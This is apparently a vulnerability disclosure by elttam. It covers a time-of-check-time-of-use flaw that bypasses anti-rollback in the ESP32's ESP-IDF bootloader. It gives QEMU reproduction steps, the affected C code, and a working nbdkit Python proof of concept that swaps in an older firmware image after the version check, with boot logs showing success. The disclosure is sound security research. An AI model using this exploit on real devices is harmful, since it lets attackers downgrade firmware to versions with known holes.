Anti-rollback is a security mechanism implemented in the ESP32 as part of the
over-the-air (OTA) update process. This feature prevents attackers from
"downgrading" firmware to older and potentially less secure versions. It is
implemented through the use of a 32-bit eFuse whose bits represent the latest
acceptable secure_version
for an application image. The secure_version
value is set at build time for an application image and is burned into the
eFuse after a successful upgrade.
A Time-of-Check-Time-of-Use (TOCTOU) vulnerability was discovered in the implementation of the ESP-IDF bootloader which could allow an attacker with physical access to a device to bypass anti-rollback protections.
This issue was found to affect the latest version of ESP-IDF (v5.3-dev) at the time of discovery.
Anti-rollback can be enabled in the second stage bootloader by setting the
CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK
option before building. The process
begins at the call_start_cpu0
function which is the entrypoint for the second
stage bootloader. This function reads and parses the partition table from flash
and selects the application image to load. When anti-rollback is enabled, some
checks are performed within the
bootloader_utility_get_selected_boot_partition
function so that only
applications with a high enough secure version can be considered for booting.
After the boot partition has been selected, the
bootloader_utility_load_boot_image
function is called to load the app image.
This function steps through the possible partitions to find one that can be
booted. The final anti-rollback checks are performed here, but are performed
before the application image is loaded (refetched from flash), leading to a
TOCTOU issue.
components/bootloader_support/src/bootloader_utility.c
(added comments marked
with //!
):
void bootloader_utility_load_boot_image(const bootloader_state_t *bs, int start_index)
{
int index = start_index;
esp_partition_pos_t part;
esp_image_metadata_t image_data = {0};
if (start_index == TEST_APP_INDEX) {
if (check_anti_rollback(&bs->test) && try_load_partition(&bs->test, &image_data)) { //! [1] TOCTOU
load_image(&image_data);
} else {
ESP_LOGE(TAG, "No bootable test partition in the partition table");
bootloader_reset();
}
}
/* work backwards from start_index, down to the factory app */
for (index = start_index; index >= FACTORY_INDEX; index--) {
part = index_to_partition(bs, index);
if (part.size == 0) {
continue;
}
ESP_LOGD(TAG, TRY_LOG_FORMAT, index, part.offset, part.size);
if (check_anti_rollback(&part) && try_load_partition(&part, &image_data)) { //! [2] TOCTOU
set_actual_ota_seq(bs, index);
load_image(&image_data);
}
log_invalid_app_partition(index);
}
/* failing that work forwards from start_index, try valid OTA slots */
for (index = start_index + 1; index < (int)bs->app_count; index++) {
part = index_to_partition(bs, index);
if (part.size == 0) {
continue;
}
ESP_LOGD(TAG, TRY_LOG_FORMAT, index, part.offset, part.size);
if (check_anti_rollback(&part) && try_load_partition(&part, &image_data)) { //! [3] TOCTOU
set_actual_ota_seq(bs, index);
load_image(&image_data);
}
log_invalid_app_partition(index);
}
if (check_anti_rollback(&bs->test) && try_load_partition(&bs->test, &image_data)) { //! [4] TOCTOU
ESP_LOGW(TAG, "Falling back to test app as only bootable partition");
load_image(&image_data);
}
ESP_LOGE(TAG, "No bootable app partitions in the partition table");
bzero(&image_data, sizeof(esp_image_metadata_t));
bootloader_reset();
}
In each of the lines marked at [1]
, [2]
, [3]
, [4]
, the anti-rollback
check is performed before trying to load the partition. The first argument to
the try_load_partition
function is a esp_partition_pos_t
type which only
specifies the position and size of the partition in flash. The actual image
data is refetched within this function, despite the anti-rollback check having
been performed on potentially different data.
As a result, an attacker with precise control of the device's flash could replace the application image with an older version after the anti-rollback checks have occured and just before the image is loaded to be booted.
This section outlines steps for setting up the testing environment to reproduce the issue with QEMU.
For convenience of developing the proof of concept, the example has flash encryption disabled. However, it is noted that this issue also affects devices with flash encryption enabled as it only involves replacing an entire application image with a previous version.
For convenience of reproducing the issue, the attached bootloader image, eFuse file and application image can be directly used instead of rebuilding them. That is, the ESP-IDF section can be safely skipped if using the attached files.
The Espressif QEMU fork is used for dynamic testing. It can be built with the following commands:
git clone https://github.com/espressif/qemu.git
cd qemu
./configure --target-list=xtensa-softmmu --enable-gcrypt --enable-debug --disable-strip --disable-user --disable-capstone --disable-vnc --disable-sdl --disable-gtk
ninja -C build
This makes the ./qemu/build/qemu-system-xtensa
binary available.
Clone and build ESP-IDF and use the example hello world project:
git clone --recursive https://github.com/espressif/esp-idf.git
esp-idf/install.sh esp32
source esp-idf/export.sh
export PROJ_HOME="${PWD}/hello_world"
cp -r esp-idf/examples/get-started/hello_world $PROJ_HOME
idf.py -C ${PROJ_HOME} set-target esp32
espsecure.py generate_signing_key "${PROJ_HOME}/secure_boot_signing_key.pem"
idf.py -C ${PROJ_HOME} menuconfig
In the visual menuconfig, ensure the following options are configured:
Bootloader config --->
[*] Enable app rollback support
[*] Enable app anti-rollback support
(0) eFuse secure version of app (NEW)
(32) Size of the efuse secure version field (NEW)
Security features --->
[*] Enable hardware Secure Boot in bootloader (READ DOCS FIRST)
Select secure boot version (Enable Secure Boot version 1) --->
Secure bootloader mode (One-time flash) --->
[*] Sign binaries during build (NEW)
(secure_boot_signing_key.pem) Secure boot private signing key (NEW)
Serial flasher config --->
Flash size (8 MB) --->
(X) 8 MB
Partition Table --->
Partition Table (Custom partition table CSV) --->
(X) Custom partition table CSV
(partitions-ota.csv) Custom partition CSV file
(0x10000) Offset of partition table
Create a file ${PROJ_HOME}/partitions-ota.csv
with the following
contents:
nvs, data, nvs, , 0x4000
otadata, data, ota, , 0x2000
phy_init, data, phy, , 0x1000
ota_0, app, ota_0, , 1M
ota_1, app, ota_1, , 1M
nvs_key, data, nvs_keys, , 0x1000
Build the bootloader and application image by running
idf.py -C ${PROJ_HOME} build
Keep a copy of the built application image at
${PROJ_HOME}/build/hello_world.bin
naming it hello_world_secver0.bin
.
Edit the ${PROJ_HOME}/sdkconfig
file and change the line
CONFIG_BOOTLOADER_APP_SECURE_VERSION=0
to
CONFIG_BOOTLOADER_APP_SECURE_VERSION=10
Rebuild the application image by running
idf.py -C ${PROJ_HOME} build
Run the following command to create the files qemu_flash.bin
and
qemu_efuse.bin
and run QEMU listening on port 5555 for emulated UART
communications.
truncate ${PROJ_HOME}/qemu_flash.bin -s 8M
truncate ${PROJ_HOME}/qemu_efuse.bin -s 124
./qemu/build/qemu-system-xtensa -nographic \
-machine esp32 \
-drive file=${PROJ_HOME}/qemu_flash.bin,if=mtd,format=raw \
-drive file=${PROJ_HOME}/qemu_efuse.bin,if=none,format=raw,id=efuse \
-global driver=nvram.esp32.efuse,property=drive,value=efuse \
-global driver=esp32.gpio,property=strap_mode,value=0x0f \
-serial tcp::5555,server,nowait
In a separate terminal, run the following commands to flash the bootloader and application image with secure version 10:
cd $PROJ_HOME/build
xargs python -m esptool -p socket://localhost:5555 --chip esp32 -b 460800 --before default_reset --after no_reset write_flash < bootloader-flash_args
xargs python -m esptool -p socket://localhost:5555 --chip esp32 -b 460800 --before default_reset --after no_reset write_flash < flash_args
Run QEMU with the following command and notice that the secure version burned into the eFuse is set to 10:
./qemu/build/qemu-system-xtensa -nographic \
-machine esp32 \
-drive file=${PROJ_HOME}/qemu_flash.bin,if=mtd,format=raw \
-drive file=${PROJ_HOME}/qemu_efuse.bin,if=none,format=raw,id=efuse \
-global driver=nvram.esp32.efuse,property=drive,value=efuse
Example output:
Adding SPI flash device
ets Jul 29 2019 12:21:46
rst:0x1 (POWERON_RESET),boot:0x12 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff00c0,len:11836
ho 0 tail 12 room 4
load:0x40078000,len:26028
load:0x40080400,len:4
ho 8 tail 4 room 4
load:0x40080404,len:3904
entry 0x40080640
I (751) boot: ESP-IDF v5.3-dev-892-g692c1fcc52 2nd stage bootloader
I (754) boot: compile time Dec 15 2023 15:05:16
I (754) boot: Multicore bootloader
I (776) boot: chip revision: v0.0
I (782) boot.esp32: SPI Speed : 40MHz
I (783) boot.esp32: SPI Mode : DIO
I (783) boot.esp32: SPI Flash Size : 8MB
I (796) boot: Enabling RNG early entropy source...
I (815) boot: Partition Table:
I (816) boot: ## Label Usage Type ST Offset Length
I (816) boot: 0 nvs WiFi data 01 02 00011000 00004000
I (817) boot: 1 otadata OTA data 01 00 00015000 00002000
I (818) boot: 2 phy_init RF data 01 01 00017000 00001000
I (819) boot: 3 ota_0 OTA app 00 10 00020000 00100000
I (819) boot: 4 ota_1 OTA app 00 11 00120000 00100000
I (820) boot: 5 nvs_key NVS keys 01 04 00220000 00001000
I (827) boot: End of partition table
I (840) boot: Enabled a check secure version of app for anti rollback
I (840) boot: Secure version (from eFuse) = 0
I (845) boot: otadata[0..1] in initial state
I (867) esp_image: segment 0: paddr=00020020 vaddr=3f400020 size=0a390h ( 41872) map
I (899) esp_image: segment 1: paddr=0002a3b8 vaddr=3ffb0000 size=02240h ( 8768) load
I (919) esp_image: segment 2: paddr=0002c600 vaddr=40080000 size=03a18h ( 14872) load
I (943) esp_image: segment 3: paddr=00030020 vaddr=400d0020 size=149b0h ( 84400) map
I (986) esp_image: segment 4: paddr=000449d8 vaddr=40083a18 size=08d8ch ( 36236) load
I (1015) esp_image: segment 5: paddr=0004d76c vaddr=00000000 size=02814h ( 10260)
I (1036) esp_image: Verifying image signature...
I (1118) boot: Loaded app from partition at offset 0x20000
I (1124) boot: Set actual ota_seq=1 in otadata[0]
I (1143) efuse: BURN BLOCK3
I (1345) efuse: BURN BLOCK3 - OK (all write block bits are set)
I (1346) efuse: Anti-rollback is set. eFuse field is updated(10).
I (1355) esp_image: segment 0: paddr=00001020 vaddr=3fff00c0 size=02e3ch ( 11836)
I (1379) esp_image: segment 1: paddr=00003e64 vaddr=40078000 size=065ach ( 26028)
I (1401) esp_image: segment 2: paddr=0000a418 vaddr=40080400 size=00004h ( 4)
I (1428) esp_image: segment 3: paddr=0000a424 vaddr=40080404 size=00f40h ( 3904)
I (1452) secure_boot_v1: Generating new secure boot key...
I (1458) efuse: BURN BLOCK2
I (1659) efuse: BURN BLOCK2 - OK (all write block bits are set)
I (1660) secure_boot_v1: Generating secure boot digest...
I (1696) secure_boot_v1: Digest generation complete.
I (1697) boot: Checking secure boot...
I (1698) efuse: Batch mode of writing fields is enabled
I (1699) secure_boot_v1: blowing secure boot efuse...
I (1699) secure_boot: Read & write protecting new key...
I (1701) secure_boot: Disable JTAG...
I (1701) secure_boot: Disable ROM BASIC interpreter fallback...
I (1703) efuse: BURN BLOCK0
I (1904) efuse: BURN BLOCK0 - OK (all write block bits are set)
I (1905) efuse: Batch mode. Prepared fields are committed
I (1906) secure_boot_v1: secure boot is now enabled for bootloader image
I (1907) boot: Disabling RNG early entropy source...
I (1927) cpu_start: Multicore app
I (3624) cpu_start: Pro cpu start user code
I (3628) cpu_start: cpu freq: 160000000 Hz
I (3629) cpu_start: Application information:
I (3629) cpu_start: Project name: hello_world
I (3630) cpu_start: App version: a6b2033-dirty
I (3631) cpu_start: Secure version: 10
I (3631) cpu_start: Compile time: Dec 15 2023 15:05:26
I (3633) cpu_start: ELF file SHA256: a0c730a15...
I (3633) cpu_start: ESP-IDF: v5.3-dev-892-g692c1fcc52
I (3634) cpu_start: Min chip rev: v0.0
I (3634) cpu_start: Max chip rev: v3.99
I (3635) cpu_start: Chip rev: v0.0
I (3640) heap_init: Initializing. RAM available for dynamic allocation:
I (3644) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM
I (3645) heap_init: At 3FFB2B90 len 0002D470 (181 KiB): DRAM
I (3646) heap_init: At 3FFE0440 len 00003AE0 (14 KiB): D/IRAM
I (3646) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM
I (3647) heap_init: At 4008C7A4 len 0001385C (78 KiB): IRAM
I (3739) spi_flash: detected chip: gd
I (3753) spi_flash: flash io: dio
I (3814) main_task: Started on CPU0
I (3854) main_task: Calling app_main()
Hello world!
This is esp32 chip with 2 CPU core(s), WiFi/BTBLE, silicon revision v0.0, 8MB external flash
Minimum free heap size: 300684 bytes
Restarting in 10 seconds...
Restarting in 9 seconds...
Restarting in 8 seconds...
QEMU: Terminated
nbdkit is used to simulate
the attacker's precise control over the flash contents. Install nbdkit
according to the instructions on the README, ensuring that Python plugin
support is also available. Assuming Python is already installed, this can be
done with the following commands:
git clone https://gitlab.com/nbdkit/nbdkit.git
cd nbdkit
autoreconf -i
./configure
make
The secure_version
for an image is specified at build time by setting the
CONFIG_BOOTLOADER_APP_SECURE_VERSION
config value. In the application image
binary, this value is stored within the application's
description
which is at an offset of 32
bytes from the start of the partition (following
the image header and a segment header). The attack works by setting this value
to a version higher than the secure version indicated in the anti-rollback
eFuse for the anti-rollback checks. After the anti-rollback checks are
complete, this value does not matter and the entire image can be replaced with
an older version of the application.
The following nbdkit Python plugin implements the attack. The 6th read request
for the application image (at 0x20000
) was determined to be the request which
loads the image for booting. Before this request, the application's description
is set to have a secure_version
of 10
so that anti-rollback checks will
pass. From the 6th request onwards, the application image is replaced
completely with that of the version 0 image.
import sys, os, io
import nbdkit
sys.path.append(os.path.join(os.path.dirname(__file__), './'))
from esploit_utils import *
import esploit_utils as esp_consts
required_config_keys = {
'BOOTLOADER_IMAGE': 'file',
'HELLO_WORLD_VER0_IMAGE': 'file'
}
FLASH_DATA = bytearray(0x100000 * 8)
PARTITION_TABLE = gen_partition_table([
(esp_consts.PART_TYPE_DATA, esp_consts.PART_SUBTYPE_DATA_OTA, 0x15000, 0x2000, b'otadata'),
(esp_consts.PART_TYPE_APP, esp_consts.PART_SUBTYPE_OTA_FLAG | 0x0, 0x20000, 0x100000, b'ota_0'),
(esp_consts.PART_TYPE_APP, esp_consts.PART_SUBTYPE_OTA_FLAG | 0x1, 0x120000, 0x100000, b'ota_1'),
])
OTA_DATA = gen_ota_select_entry(1, b'\xff' * 20, esp_consts.ESP_OTA_IMG_VALID)
OTA_DATA += gen_ota_select_entry(2, b'\xff' * 20, esp_consts.ESP_OTA_IMG_INVALID)
# ========== nbdkit boilerplate ==========
API_VERSION = 2
for k in required_config_keys:
globals()[k] = None
def config(key, value):
if key in required_config_keys:
if required_config_keys[key] == 'file':
globals()[key] = __builtins__.open(os.path.abspath(value), 'rb').read()
else:
raise RuntimeError(f'Unknown config value type {required_config_keys[key]} for config {key}')
def config_complete():
for k in required_config_keys:
if globals()[k] is None:
raise RuntimeError(f'{k} is a specified config value but was not set')
def thread_model():
return nbdkit.THREAD_MODEL_SERIALIZE_ALL_REQUESTS
def open(readonly):
initialise_flash_data()
return {}
def get_size(h):
return len(FLASH_DATA)
# ========== flash abstractions ==========
def initialise_flash_data():
global FLASH_DATA
FLASH_DATA[0x1000:0x1000+len(BOOTLOADER_IMAGE)] = BOOTLOADER_IMAGE
FLASH_DATA[0x10000:0x10000+len(PARTITION_TABLE)] = PARTITION_TABLE
FLASH_DATA[0x15000:0x15000+len(OTA_DATA)] = OTA_DATA
FLASH_DATA[0x20000:0x20000+len(HELLO_WORLD_VER0_IMAGE)] = HELLO_WORLD_VER0_IMAGE
app_desc = gen_app_desc(10, b'asdf', b'asdf', b'asdf', b'asdf', b'asdf')
FLASH_DATA[0x20000+32:0x20000+32+len(app_desc)] = app_desc # +32 for image header / segment header
cnt = 0
def pread(h, buf, offset, flags):
global cnt
# TOCTOU: replace app image after checks
if offset == 0x20000:
cnt += 1
nbdkit.debug(f'Flash read request for 0x20000: {cnt = }')
if cnt == 6:
FLASH_DATA[0x20000:0x20000+len(HELLO_WORLD_VER0_IMAGE)] = HELLO_WORLD_VER0_IMAGE
for i in range(min(len(buf), len(FLASH_DATA) - offset)):
buf[i] = FLASH_DATA[offset+i]
def pwrite(h, buf, offset, flags):
global FLASH_DATA
FLASH_DATA[offset:offset+len(buf)] = bytes(buf)
nbdkit can be run using this plugin with the following command (replace the
bootloader.bin
and hello_world_secver0.bin
files appropriately if not using
the attached files):
./nbdkit/nbdkit -f -v python ./nbdkit-anti-rollback-toctou-bypass.py BOOTLOADER_IMAGE=bootloader.bin HELLO_WORLD_VER0_IMAGE=hello_world_secver0.bin
Run QEMU with the following command (replace the qemu_efuse.bin
file
appropriately if not using the attached files):
./qemu/build/qemu-system-xtensa -nographic \
-machine esp32 \
-drive file=nbd://localhost,if=mtd,format=raw \
-drive file=qemu_efuse.bin,if=none,format=raw,id=efuse \
-global driver=nvram.esp32.efuse,property=drive,value=efuse
Observe the output log:
Adding SPI flash device
ets Jul 29 2019 12:21:46
rst:0x1 (POWERON_RESET),boot:0x12 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff00c0,len:11836
ho 0 tail 12 room 4
load:0x40078000,len:26028
load:0x40080400,len:4
ho 8 tail 4 room 4
load:0x40080404,len:3904
entry 0x40080640
I (3440) boot: ESP-IDF v5.3-dev-892-g692c1fcc52 2nd stage bootloader
I (3443) boot: compile time Dec 15 2023 15:04:02
I (3443) boot: Multicore bootloader
I (4450) boot: chip revision: v0.0
I (4457) boot.esp32: SPI Speed : 40MHz
I (4457) boot.esp32: SPI Mode : DIO
I (4457) boot.esp32: SPI Flash Size : 8MB
I (4802) boot: Enabling RNG early entropy source...
I (5144) boot: Partition Table:
I (5145) boot: ## Label Usage Type ST Offset Length
I (5145) boot: 0 otadata OTA data 01 00 00015000 00002000
I (5147) boot: 1 ota_0 OTA app 00 10 00020000 00100000
I (5147) boot: 2 ota_1 OTA app 00 11 00120000 00100000
I (5470) boot: End of partition table
I (6198) boot: Enabled a check secure version of app for anti rollback
I (6199) boot: Secure version (from eFuse) = 10
I (12361) esp_image: segment 0: paddr=00020020 vaddr=3f400020 size=0a390h ( 41872) map
I (15018) esp_image: segment 1: paddr=0002a3b8 vaddr=3ffb0000 size=02240h ( 8768) load
I (17750) esp_image: segment 2: paddr=0002c600 vaddr=40080000 size=03a18h ( 14872) load
I (20442) esp_image: segment 3: paddr=00030020 vaddr=400d0020 size=149b0h ( 84400) map
I (23337) esp_image: segment 4: paddr=000449d8 vaddr=40083a18 size=08d8ch ( 36236) load
I (25652) esp_image: segment 5: paddr=0004d76c vaddr=00000000 size=02814h ( 10260)
I (27771) esp_image: Verifying image signature...
I (30536) boot: Loaded app from partition at offset 0x20000
I (30537) secure_boot_v1: bootloader secure boot is already enabled. No need to generate digest. continuing..
I (30539) boot: Checking secure boot...
I (30540) secure_boot_v1: bootloader secure boot is already enabled, continuing..
I (30540) boot: Disabling RNG early entropy source...
I (31276) cpu_start: Multicore app
I (7396) cpu_start: Pro cpu start user code
I (7401) cpu_start: cpu freq: 160000000 Hz
I (7403) cpu_start: Application information:
I (7404) cpu_start: Project name: hello_world
I (7404) cpu_start: App version: a6b2033-dirty
I (7405) cpu_start: Secure version: 0
I (7406) cpu_start: Compile time: Dec 15 2023 15:04:09
I (7408) cpu_start: ELF file SHA256: 3eff680d7...
I (7409) cpu_start: ESP-IDF: v5.3-dev-892-g692c1fcc52
I (7410) cpu_start: Min chip rev: v0.0
I (7410) cpu_start: Max chip rev: v3.99
I (7411) cpu_start: Chip rev: v0.0
I (7418) heap_init: Initializing. RAM available for dynamic allocation:
I (7423) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM
I (7425) heap_init: At 3FFB2B90 len 0002D470 (181 KiB): DRAM
I (7425) heap_init: At 3FFE0440 len 00003AE0 (14 KiB): D/IRAM
I (7426) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM
I (7427) heap_init: At 4008C7A4 len 0001385C (78 KiB): IRAM
I (7550) spi_flash: detected chip: gd
I (7568) spi_flash: flash io: dio
I (7662) main_task: Started on CPU0
I (7702) main_task: Calling app_main()
Hello world!
This is esp32 chip with 2 CPU core(s), WiFi/BTBLE, silicon revision v0.0, 8MB external flash
Minimum free heap size: 300684 bytes
Restarting in 10 seconds...
Restarting in 9 seconds...
Restarting in 8 seconds...
QEMU: Terminated
In particular, notice the lines
I (6198) boot: Enabled a check secure version of app for anti rollback
I (6199) boot: Secure version (from eFuse) = 10
and
I (7404) cpu_start: Project name: hello_world
I (7404) cpu_start: App version: a6b2033-dirty
I (7405) cpu_start: Secure version: 0
which indicates that the running application's secure version is lower than the minimum secure version specified by the eFuse.
Joseph Surin, elttam